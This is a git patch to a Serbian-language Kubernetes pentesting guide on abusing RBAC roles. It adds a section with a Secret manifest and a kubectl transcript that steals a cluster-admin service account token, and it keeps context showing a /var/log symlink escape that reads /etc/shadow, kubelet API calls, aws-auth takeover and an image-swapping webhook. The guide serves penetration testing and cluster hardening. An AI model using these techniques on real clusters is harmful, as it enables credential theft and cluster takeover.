From 1f0099ad3d135e5139b89ad383ea095a6a41a0a6 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 22 Jan 2025 12:06:32 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus --- .../README.md | 163 ++++++++++++------ 1 file changed, 113 insertions(+), 50 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index e3ba25391..6a7681c44 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -9,11 +9,11 @@ Zapamtite da možete dobiti sve podržane resurse sa `kubectl api-resources` Odnosi se na veštinu dobijanja **pristupa različitom principalu** unutar klastera **sa različitim privilegijama** (unutar kubernetes klastera ili prema spoljnim cloud-ovima) od onih koje već imate, u Kubernetes-u postoje osnovno **4 glavne tehnike za povećanje privilegija**: -- Mogućnost da **imituje** druge korisnike/grupe/SAs sa boljim privilegijama unutar kubernetes klastera ili prema spoljnim cloud-ovima -- Mogućnost da **kreira/patch-uje/izvršava podove** gde možete **pronaći ili povezati SAs** sa boljim privilegijama unutar kubernetes klastera ili prema spoljnim cloud-ovima -- Mogućnost da **čita tajne** jer su SAs tokeni pohranjeni kao tajne -- Mogućnost da **pobegne na čvor** iz kontejnera, gde možete ukrasti sve tajne kontejnera koji se izvršavaju na čvoru, kredencijale čvora i dozvole čvora unutar clouda u kojem se izvršava (ako ih ima) -- Peta tehnika koja zaslužuje pominjanje je sposobnost da **izvrši port-forward** u podu, jer možda možete pristupiti zanimljivim resursima unutar tog poda. +- Možete **imitirati** druge korisnike/grupe/SAs sa boljim privilegijama unutar kubernetes klastera ili prema spoljnim cloud-ovima +- Možete **kreirati/patch/exec pods** gde možete **pronaći ili povezati SAs** sa boljim privilegijama unutar kubernetes klastera ili prema spoljnim cloud-ovima +- Možete **čitati tajne** jer su SAs tokeni pohranjeni kao tajne +- Možete **pobeći na čvor** iz kontejnera, gde možete ukrasti sve tajne kontejnera koji se izvršavaju na čvoru, kredencijale čvora i dozvole čvora unutar clouda u kojem se izvršava (ako ih ima) +- Peta tehnika koja zaslužuje pominjanje je sposobnost da **pokrenete port-forward** u podu, jer možda možete pristupiti zanimljivim resursima unutar tog poda. ### Pristup bilo kojem resursu ili glagolu (Wildcard) @@ -29,11 +29,11 @@ rules: resources: ["*"] verbs: ["*"] ``` -### Pristup bilo kojem resursu sa specifičnom glagolom +### Pristup bilo kojem resursu sa specifičnom radnjom U RBAC-u, određene dozvole predstavljaju značajne rizike: -1. **`create`:** Daje mogućnost kreiranja bilo kog klasterskog resursa, što može dovesti do eskalacije privilegija. +1. **`create`:** Daje mogućnost kreiranja bilo kojeg klasterskog resursa, što može dovesti do eskalacije privilegija. 2. **`list`:** Omogućava listanje svih resursa, potencijalno otkrivajući osetljive podatke. 3. **`get`:** Dozvoljava pristup tajnama iz servisnih naloga, što predstavlja bezbednosnu pretnju. ```yaml @@ -49,9 +49,9 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -Napadač sa dozvolama za kreiranje poda može da prikači privilegovani Service Account u pod i ukrade token kako bi se pretvarao da je Service Account. Efektivno povećavajući privilegije. +Napadač sa dozvolama za kreiranje poda može prikačiti privilegovani servisni nalog u pod i ukrasti token kako bi se pretvarao da je taj servisni nalog. Efektivno povećavajući privilegije. -Primer poda koji će ukrasti token `bootstrap-signer` service account-a i poslati ga napadaču: +Primer poda koji će ukrasti token servisnog naloga `bootstrap-signer` i poslati ga napadaču: ```yaml apiVersion: v1 kind: Pod @@ -140,7 +140,7 @@ _Možete pronaći primer kako da kreirate/iskoristite prethodne privilegovane po ### Pod Create - Move to cloud -Ako možete da **kreirate** **pod** (i opcionalno **service account**) možda ćete moći da **dobijete privilegije u cloud okruženju** dodeljujući **cloud roles** podu ili **service account** i zatim mu pristupite.\ +Ako možete da **kreirate** **pod** (i opcionalno **service account**) možda ćete moći da **dobijete privilegije u cloud okruženju** dodeljujući **cloud role podu ili service account-u** i zatim mu pristupiti.\ Štaviše, ako možete da kreirate **pod sa host network namespace** možete **ukrasti IAM** ulogu **node** instance. Za više informacija proverite: @@ -153,7 +153,7 @@ pod-escape-privileges.md Moguće je iskoristiti ove dozvole da **kreirate novi pod** i uspostavite privilegije kao u prethodnom primeru. -Sledeći yaml **kreira daemonset i exfiltrira token SA** unutar poda: +Sledeći yaml **kreira daemonset i eksfiltrira token SA** unutar poda: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -199,19 +199,19 @@ kubectl exec -it -n -- sh ``` ### port-forward -Ova dozvola omogućava **prosleđivanje jednog lokalnog porta na jedan port u specificiranom podu**. Ovo je namenjeno da se olakša debagovanje aplikacija koje rade unutar poda, ali napadač bi to mogao zloupotrebiti da dobije pristup zanimljivim (kao što su DB-ovi) ili ranjivim aplikacijama (web?) unutar poda: +Ova dozvola omogućava da se **preusmeri jedan lokalni port na jedan port u specificiranom podu**. Ovo je namenjeno da se olakša debagovanje aplikacija koje rade unutar poda, ali napadač bi to mogao zloupotrebiti da dobije pristup zanimljivim (kao što su DB-ovi) ili ranjivim aplikacijama (web?) unutar poda: ``` kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape Kao [**što je naznačeno u ovom istraživanju**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), ako možete pristupiti ili kreirati pod sa **montiranim direktorijumom `/var/log/`** na njemu, možete **pobeći iz kontejnera**.\ -To je osnovno zato što kada **Kube-API pokušava da dobije logove** kontejnera (koristeći `kubectl logs `), **zahteva `0.log`** datoteku pod-a koristeći `/logs/` endpoint **Kubelet** servisa.\ -Kubelet servis izlaže `/logs/` endpoint koji jednostavno **izlaže `/var/log` datotečni sistem kontejnera**. +To je u suštini zato što kada **Kube-API pokušava da dobije logove** kontejnera (koristeći `kubectl logs `), **zahteva `0.log`** datoteku pod-a koristeći `/logs/` endpoint **Kubelet** servisa.\ +Kubelet servis izlaže `/logs/` endpoint koji u suštini **izlaže `/var/log` datotečni sistem kontejnera**. -Stoga, napadač sa **pristupom za pisanje u /var/log/ folder** kontejnera može zloupotrebiti ovo ponašanje na 2 načina: +Stoga, napadač sa **pristupom za pisanje u /var/log/ folder** kontejnera mogao bi da zloupotrebi ovo ponašanje na 2 načina: -- Modifikovanjem `0.log` datoteke svog kontejnera (obično se nalazi u `/var/logs/pods/namespace_pod_uid/container/0.log`) da bude **simbolička veza koja pokazuje na `/etc/shadow`** na primer. Tada ćete moći da eksfiltrirate hosts shadow datoteku radeći: +- Modifikovanjem `0.log` datoteke svog kontejnera (obično se nalazi u `/var/logs/pods/namespace_pod_uid/container/0.log`) da bude **simbolička veza koja pokazuje na `/etc/shadow`** na primer. Tada ćete moći da exfiltrirate hosts shadow datoteku koristeći: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -231,7 +231,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**Laboratorija i automatski exploit mogu se naći na** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) +**Laboratorija i automatizovani exploit mogu se naći na** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) #### Obilaženje readOnly zaštite @@ -239,15 +239,15 @@ Ako imate sreće i visoko privilegisana sposobnost `CAP_SYS_ADMIN` je dostupna, ```bash mount -o rw,remount /hostlogs/ ``` -#### Obilaženje hostPath readOnly zaštite +#### Bypassing hostPath readOnly protection -Kao što je navedeno u [**ovoj studiji**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), moguće je obilaženje zaštite: +Kao što je navedeno u [**ovoj studiji**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), moguće je zaobići zaštitu: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Koji je bio zamišljen da spreči eskape poput prethodnih, tako što će umesto korišćenja hostPath montaže, koristiti PersistentVolume i PersistentVolumeClaim za montiranje foldera domaćina u kontejner sa pristupom za pisanje: +Koji je bio zamišljen da spreči eskape poput prethodnih, tako što umesto korišćenja hostPath montaže, koristi PersistentVolume i PersistentVolumeClaim za montiranje foldera domaćina u kontejner sa pristupom za pisanje: ```yaml apiVersion: v1 kind: PersistentVolume @@ -293,9 +293,9 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **Imitacija privilegovanih naloga** +### **Imitiranje privilegovanih naloga** -Sa [**privilegijom imitacije korisnika**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), napadač može imitirati privilegovan nalog. +Sa [**privilegijom imitacije korisnika**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), napadač može imitirati privilegovani nalog. Jednostavno koristite parametar `--as=` u `kubectl` komandi da biste imitirali korisnika, ili `--as-group=` da biste imitirali grupu: ```bash @@ -312,21 +312,84 @@ https://:/api/v1/namespaces/kube-system/secrets/ ``` ### Listing Secrets -Dozvola za **listanje tajni može omogućiti napadaču da zapravo pročita tajne** pristupajući REST API kraju: +Dozvola da **prikazuje tajne može omogućiti napadaču da zapravo pročita tajne** pristupajući REST API kraju: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` +### Kreiranje i Čitanje Tajni + +Postoji posebna vrsta Kubernetes tajne tipa **kubernetes.io/service-account-token** koja čuva tokene servisnog naloga. Ako imate dozvole za kreiranje i čitanje tajni, i takođe znate ime servisnog naloga, možete kreirati tajnu na sledeći način i zatim ukrasti token servisnog naloga žrtve iz nje: +```yaml +apiVersion: v1 +kind: Secret +metadata: +name: stolen-admin-sa-token +namespace: default +annotations: +kubernetes.io/service-account.name: cluster-admin-sa +type: kubernetes.io/service-account-token +``` +Primer iskorišćavanja: +```bash +$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) + +$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN +Warning: the list may be incomplete: webhook authorizer does not support user rule resolution +Resources Non-Resource URLs Resource Names Verbs +selfsubjectreviews.authentication.k8s.io [] [] [create] +selfsubjectaccessreviews.authorization.k8s.io [] [] [create] +selfsubjectrulesreviews.authorization.k8s.io [] [] [create] +secrets [] [] [get create] +[/.well-known/openid-configuration/] [] [get] + +[/version] [] [get] + +$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN +error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default" + +$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa +Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default" + +$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN +secret/stolen-admin-sa-token created + +$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json +{ +"apiVersion": "v1", +"data": { +"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FUUlRJRklDQVRFLS0tLS0K", +"namespace": "ZGVmYXVsdA==", +"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkjYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc=" +}, +"kind": "Secret", +"metadata": { +"annotations": { +"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n", +"kubernetes.io/service-account.name": "cluster-admin-sa", +"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f" +}, +"creationTimestamp": "2025-01-11T13:02:27Z", +"name": "stolen-admin-sa-token", +"namespace": "default", +"resourceVersion": "1019116", +"uid": "680d119f-89d0-4fc6-8eef-1396600d7556" +}, +"type": "kubernetes.io/service-account-token" +} +``` +Napomena da, ako vam je dozvoljeno da kreirate i čitate tajne u određenom namespace-u, žrtvinska serviceaccount takođe mora biti u tom istom namespace-u. + ### Čitanje tajne – brute-forcing token ID-ova -Dok napadač u posedu tokena sa dozvolama za čitanje zahteva tačno ime tajne da bi je koristio, za razliku od šire _**listing secrets**_ privilegije, i dalje postoje ranjivosti. Podrazumevani servisni nalozi u sistemu mogu se enumerisati, svaki povezan sa tajnom. Ove tajne imaju strukturu imena: statički prefiks praćen nasumičnim alfanumeričkim tokenom od pet karaktera (izuzimajući određene karaktere) prema [izvornom kodu](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +Dok napadač u posedu tokena sa pravima čitanja zahteva tačno ime tajne da bi je koristio, za razliku od šireg _**listing secrets**_ privilegija, i dalje postoje ranjivosti. Podrazumevane service accounts u sistemu mogu se enumerisati, svaka povezana sa tajnom. Ove tajne imaju strukturu imena: statički prefiks praćen nasumičnim peto-znakovnim alfanumeričkim tokenom (izuzimajući određene karaktere) prema [izvornom kodu](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -Token se generiše iz ograničenog skupa od 27 karaktera (`bcdfghjklmnpqrstvwxz2456789`), umesto iz celog alfanumeričkog opsega. Ova ograničenja smanjuju ukupan broj mogućih kombinacija na 14,348,907 (27^5). Kao rezultat, napadač bi mogao izvesti brute-force napad da bi dedukovao token u roku od nekoliko sati, što bi potencijalno dovelo do eskalacije privilegija pristupom osetljivim servisnim nalozima. +Token se generiše iz ograničenog skupa od 27 karaktera (`bcdfghjklmnpqrstvwxz2456789`), umesto iz punog alfanumeričkog opsega. Ova ograničenja smanjuju ukupan broj mogućih kombinacija na 14,348,907 (27^5). Kao rezultat, napadač bi mogao izvesti brute-force napad da bi dedukovao token u roku od nekoliko sati, što bi potencijalno dovelo do eskalacije privilegija pristupom osetljivim service accounts. ### Zahtevi za potpisivanje sertifikata -Ako imate glagole **`create`** u resursu `certificatesigningrequests` (ili barem u `certificatesigningrequests/nodeClient`). Možete **napraviti** novi CeSR za **novi čvor.** +Ako imate glagole **`create`** u resursu `certificatesigningrequests` (ili barem u `certificatesigningrequests/nodeClient`). Možete **kreirati** novi CeSR za **novi čvor.** -Prema [dokumentaciji, moguće je automatski odobriti ove zahteve](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), tako da u tom slučaju **ne trebaju vam dodatne dozvole**. Ako ne, morali biste biti u mogućnosti da odobrite zahtev, što znači ažuriranje u `certificatesigningrequests/approval` i `approve` u `signers` sa resourceName `/` ili `/*` +Prema [dokumentaciji, moguće je automatski odobriti ove zahteve](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), tako da u tom slučaju **ne trebate dodatne dozvole**. Ako ne, morali biste biti u mogućnosti da odobrite zahtev, što znači ažuriranje u `certificatesigningrequests/approval` i `approve` u `signers` sa resourceName `/` ili `/*` **Primer uloge** sa svim potrebnim dozvolama je: ```yaml @@ -370,7 +433,7 @@ Način da se to zaobiđe je jednostavno **napraviti kredencijale nod-a za ime no ``` ### AWS EKS aws-auth configmaps -Principali koji mogu da modifikuju **`configmaps`** u kube-system imenu prostoru na EKS (moraju biti u AWS) klasterima mogu dobiti privilegije klaster admina prepisivanjem **aws-auth** configmap-a.\ +Principali koji mogu da modifikuju **`configmaps`** u kube-system imenskom prostoru na EKS (moraju biti u AWS) klasterima mogu dobiti privilegije klaster admina prepisivanjem **aws-auth** configmap-a.\ Potrebni glagoli su **`update`** i **`patch`**, ili **`create`** ako configmap nije kreiran: ```bash # Check if config map exists @@ -411,18 +474,18 @@ groups: - system:masters ``` > [!WARNING] -> Možete koristiti **`aws-auth`** za **persistence** davanje pristupa korisnicima iz **drugih naloga**. +> Možete koristiti **`aws-auth`** za **persistence** dajući pristup korisnicima iz **drugih naloga**. > -> Međutim, `aws --profile other_account eks update-kubeconfig --name ` **ne radi iz drugog naloga**. Ali zapravo `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` radi ako stavite ARN klastera umesto samo imena.\ -> Da biste omogućili `kubectl`, samo se pobrinite da **konfigurišete** **kubeconfig žrtve** i u aws exec args dodajte `--profile other_account_role` tako da kubectl koristi profil drugog naloga za dobijanje tokena i kontaktiranje AWS-a. +> Međutim, `aws --profile other_account eks update-kubeconfig --name ` **ne funkcioniše iz drugog naloga**. Ali zapravo `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funkcioniše ako stavite ARN klastera umesto samo imena.\ +> Da bi `kubectl` radio, samo se pobrinite da **konfigurišete** **kubeconfig žrtve** i u aws exec argumentima dodajte `--profile other_account_role` tako da kubectl koristi profil drugog naloga za dobijanje tokena i kontaktiranje AWS-a. ### Eskalacija u GKE -Postoje **2 načina da se dodele K8s dozvole GCP principima**. U svakom slučaju, princip takođe treba dozvolu **`container.clusters.get`** da bi mogao da prikupi akreditive za pristup klasteru, ili ćete morati da **generišete svoj vlastiti kubectl config fajl** (pratite sledeći link). +Postoje **2 načina da se dodele K8s dozvole GCP principima**. U svakom slučaju, princip takođe treba dozvolu **`container.clusters.get`** da bi mogao da prikupi kredencijale za pristup klasteru, ili ćete morati da **generišete svoj vlastiti kubectl config fajl** (pratite sledeći link). > [!WARNING] -> Kada komunicirate sa K8s api krajnjom tačkom, **GCP auth token će biti poslat**. Tada će GCP, preko K8s api krajnje tačke, prvo **proveriti da li princip** (prema emailu) **ima bilo kakav pristup unutar klastera**, zatim će proveriti da li ima **bilo kakav pristup putem GCP IAM**.\ -> Ako je **bilo koja** od ovih **tačna**, biće mu **odgovoreno**. Ako **nije**, biće data **greška** koja sugeriše da se **dozvole daju putem GCP IAM**. +> Kada komunicirate sa K8s API krajnjom tačkom, **GCP auth token će biti poslat**. Tada će GCP, preko K8s API krajnje tačke, prvo **proveriti da li princip** (prema emailu) **ima bilo kakav pristup unutar klastera**, zatim će proveriti da li ima **bilo kakav pristup putem GCP IAM**.\ +> Ako je **bilo koja** od tih stvari **tačna**, biće mu **odgovoreno**. Ako **nije**, biće data **greška** koja sugeriše da se **dozvole dodele putem GCP IAM**. Prvi metod je korišćenje **GCP IAM**, K8s dozvole imaju svoje **ekvivalentne GCP IAM dozvole**, i ako princip to ima, moći će da ga koristi. @@ -434,7 +497,7 @@ Drugi metod je **dodeljivanje K8s dozvola unutar klastera** identifikovanjem kor ### Kreiranje tokena za servisne naloge -Principi koji mogu **kreirati TokenRequests** (`serviceaccounts/token`) kada komuniciraju sa K8s api krajnjom tačkom SAs (informacije iz [**ovde**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +Principi koji mogu **kreirati TokenRequests** (`serviceaccounts/token`) kada komuniciraju sa K8s API krajnjom tačkom SAs (informacije iz [**ovde**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers @@ -442,16 +505,16 @@ Principi koji mogu **`update`** ili **`patch`** **`pods/ephemeralcontainers`** m ### ValidatingWebhookConfigurations ili MutatingWebhookConfigurations -Principi sa bilo kojim od glagola `create`, `update` ili `patch` nad `validatingwebhookconfigurations` ili `mutatingwebhookconfigurations` mogli bi biti u mogućnosti da **kreiraju jednu od takvih webhookconfigurations** kako bi mogli da **eskaliraju privilegije**. +Principi sa bilo kojim od glagola `create`, `update` ili `patch` nad `validatingwebhookconfigurations` ili `mutatingwebhookconfigurations` mogli bi biti u mogućnosti da **kreiraju jednu od takvih webhook konfiguracija** kako bi mogli da **eskaliraju privilegije**. -Za [`mutatingwebhookconfigurations` primer proverite ovu sekciju ovog posta](./#malicious-admission-controller). +Za [`mutatingwebhookconfigurations` primer proverite ovu sekciju ovog posta](#malicious-admission-controller). -### Eskaliraj +### Eskalacija -Kao što možete pročitati u sledećoj sekciji: [**Ugrađena prevencija eskalacije privilegija**](./#built-in-privileged-escalation-prevention), princip ne može da ažurira niti kreira uloge ili clusterrole bez da sam ima te nove dozvole. Osim ako ima **glagol `escalate`** nad **`roles`** ili **`clusterroles`**.\ +Kao što možete pročitati u sledećoj sekciji: [**Ugrađena prevencija privilegovane eskalacije**](#built-in-privileged-escalation-prevention), princip ne može da ažurira niti kreira uloge ili clusterrole bez da sam ima te nove dozvole. Osim ako ima **glagol `escalate`** nad **`roles`** ili **`clusterroles`**.\ Tada može ažurirati/kreati nove uloge, clusterrole sa boljim dozvolama od onih koje ima. -### Proxy čvorova +### Nodes proxy Principi sa pristupom do **`nodes/proxy`** podresursa mogu **izvršavati kod na podovima** putem Kubelet API (prema [**ovome**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Više informacija o Kubelet autentifikaciji na ovoj stranici: @@ -459,11 +522,11 @@ Principi sa pristupom do **`nodes/proxy`** podresursa mogu **izvršavati kod na ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -Imate primer kako dobiti [**RCE razgovarajući autorizovano sa Kubelet API ovde**](../pentesting-kubernetes-services/#kubelet-rce). +Imate primer kako dobiti [**RCE razgovarajući autorizovano sa Kubelet API ovde**](../pentesting-kubernetes-services/index.html#kubelet-rce). ### Brisanje podova + neschedulabilni čvorovi -Principi koji mogu **brisati podove** (`delete` glagol nad `pods` resursom), ili **izbacivati podove** (`create` glagol nad `pods/eviction` resursom), ili **menjati status podova** (pristup `pods/status`) i mogu **učiniti druge čvorove neschedulabilnim** (pristup `nodes/status`) ili **brisati čvorove** (`delete` glagol nad `nodes` resursom) i imaju kontrolu nad podom, mogli bi **ukrasti podove sa drugih čvorova** tako da se **izvršavaju** na **kompromitovanom** **čvoru** i napadač može **ukrasti tokene** iz tih podova. +Principi koji mogu **brisati podove** (`delete` glagol nad `pods` resursom), ili **izbacivati podove** (`create` glagol nad `pods/eviction` resursom), ili **menjati status podova** (pristup `pods/status`) i mogu **učiniti druge čvorove neschedulabilnim** (pristup `nodes/status`) ili **brisati čvorove** (`delete` glagol nad `nodes` resursom) i imaju kontrolu nad podom, mogli bi **ukrasti podove sa drugih čvorova** tako da se **izvršavaju** u **kompromitovanom** **čvoru** i napadač može **ukrasti tokene** iz tih podova. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -480,25 +543,25 @@ Principali koji mogu **modifikovati** **`services/status`** mogu postaviti polje ### Status čvorova i podova -Principali sa **`update`** ili **`patch`** dozvolama nad `nodes/status` ili `pods/status`, mogli bi modifikovati oznake kako bi uticali na ograničenja raspoređivanja. +Principali sa **`update`** ili **`patch`** dozvolama nad `nodes/status` ili `pods/status`, mogli bi modifikovati oznake kako bi uticali na primenjene ograničenja raspoređivanja. ## Ugrađena prevencija eskalacije privilegija Kubernetes ima [ugrađeni mehanizam](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) za sprečavanje eskalacije privilegija. -Ovaj sistem osigurava da **korisnici ne mogu povećati svoje privilegije modifikovanjem uloga ili veza uloga**. Sprovođenje ovog pravila se dešava na API nivou, pružajući zaštitu čak i kada je RBAC autorizer neaktivan. +Ovaj sistem osigurava da **korisnici ne mogu povećati svoje privilegije modifikovanjem uloga ili veza uloga**. Sprovođenje ovog pravila se dešava na API nivou, pružajući zaštitu čak i kada je RBAC autorizator neaktivan. Pravilo nalaže da **korisnik može kreirati ili ažurirati ulogu samo ako poseduje sve dozvole koje uloga obuhvata**. Štaviše, opseg postojećih dozvola korisnika mora se poklapati sa onim uloge koju pokušava da kreira ili modifikuje: ili na nivou klastera za ClusterRoles ili ograničeno na istu namespace (ili na nivou klastera) za Roles. > [!WARNING] -> Postoji izuzetak od prethodnog pravila. Ako neki principal ima **glagol `escalate`** nad **`roles`** ili **`clusterroles`**, može povećati privilegije uloga i clusterroles čak i bez da sam ima te dozvole. +> Postoji izuzetak od prethodnog pravila. Ako neki principal ima **glagol `escalate`** nad **`roles`** ili **`clusterroles`**, može povećati privilegije uloga i clusterroles čak i bez poseda tih dozvola. -### **Preuzmi i Patch RoleBindings/ClusterRoleBindings** +### **Dobijanje i patch RoleBindings/ClusterRoleBindings** > [!CAUTION] > **Očigledno je da je ova tehnika ranije radila, ali prema mojim testovima više ne funkcioniše iz istog razloga objašnjenog u prethodnom odeljku. Ne možete kreirati/modifikovati rolebinding da biste sebi ili drugom SA dali neke privilegije ako ih već nemate.** -Privilegija za kreiranje Rolebindings omogućava korisniku da **veže uloge za servisni nalog**. Ova privilegija može potencijalno dovesti do eskalacije privilegija jer **omogućava korisniku da veže administratorske privilegije za kompromitovani servisni nalog.** +Privilegija za kreiranje Rolebindings omogućava korisniku da **veže uloge za servisni nalog**. Ova privilegija može potencijalno dovesti do eskalacije privilegija jer **omogućava korisniku da veže admin privilegije za kompromitovani servisni nalog.** ## Drugi napadi @@ -594,7 +657,7 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -Gore navedeni isječak zamenjuje prvu sliku kontejnera u svakom podu sa `rewanthtammana/malicious-image`. +Gore navedeni deo zamenjuje prvu sliku kontejnera u svakom podu sa `rewanthtammana/malicious-image`. ## OPA Gatekeeper zaobilaženje @@ -606,12 +669,12 @@ Gore navedeni isječak zamenjuje prvu sliku kontejnera u svakom podu sa `rewanth ### **Onemogućavanje automount-a tokena servisnog naloga** -- **Podi i servisni nalozi**: Po defaultu, podovi montiraju token servisnog naloga. Da bi se poboljšala sigurnost, Kubernetes omogućava onemogućavanje ove automount funkcije. +- **Podovi i servisni nalozi**: Podovi po defaultu montiraju token servisnog naloga. Da bi se poboljšala sigurnost, Kubernetes omogućava onemogućavanje ove automount funkcije. - **Kako primeniti**: Postavite `automountServiceAccountToken: false` u konfiguraciji servisnih naloga ili podova počevši od Kubernetes verzije 1.6. ### **Restriktivno dodeljivanje korisnika u RoleBindings/ClusterRoleBindings** -- **Selektivno uključivanje**: Osigurajte da su samo neophodni korisnici uključeni u RoleBindings ili ClusterRoleBindings. Redovno vršite reviziju i uklanjajte irelevantne korisnike kako biste održali strogu sigurnost. +- **Selektivno uključivanje**: Osigurajte da su u RoleBindings ili ClusterRoleBindings uključeni samo neophodni korisnici. Redovno vršite reviziju i uklanjajte irelevantne korisnike kako biste održali visoku sigurnost. ### **Uloge specifične za namespace umesto uloga na nivou klastera**